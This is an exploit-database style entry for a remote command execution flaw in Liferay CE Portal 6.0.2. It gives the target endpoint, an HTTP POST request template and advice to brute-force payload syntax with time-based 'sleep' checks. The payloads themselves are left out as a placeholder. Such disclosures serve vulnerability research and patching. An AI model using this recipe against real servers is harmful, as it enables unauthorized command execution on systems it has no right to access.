30 lines
No EOL
1,011 B
Text
30 lines
No EOL
1,011 B
Text
# Exploit Title: Liferay CE Portal 6.0.2 - Remote Command Execution
|
|
# Google Dork: N/A
|
|
# Date: 2020-01-29
|
|
# Exploit Author: Berk Dusunur
|
|
# Vendor Homepage: https://www.liferay.com/
|
|
# Software Link: https://sourceforge.net/projects/lportal/files/Liferay%20Portal/6.0.2/
|
|
# https://github.com/chakadev/Liferay-CE-Portal-Java-Deserialization
|
|
# Version: 6.0.2
|
|
# Tested on: MacOS
|
|
# CVE : N/A
|
|
|
|
#PoC
|
|
|
|
I already shared payloads in my github repo (Because payloads so small and
|
|
have a meta character). You must find the right syntax by brute-force
|
|
method.Payloads I share are for time-based proof of concept (sleep 10). The
|
|
application may not always output the command. That's why you should try
|
|
time-based payload while doing PoC.
|
|
|
|
|
|
|
|
POST /api/liferay HTTP/1.1
|
|
Host: TARGET
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0)
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9
|
|
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Connection: close
|
|
|
|
PAYLOADS HERE |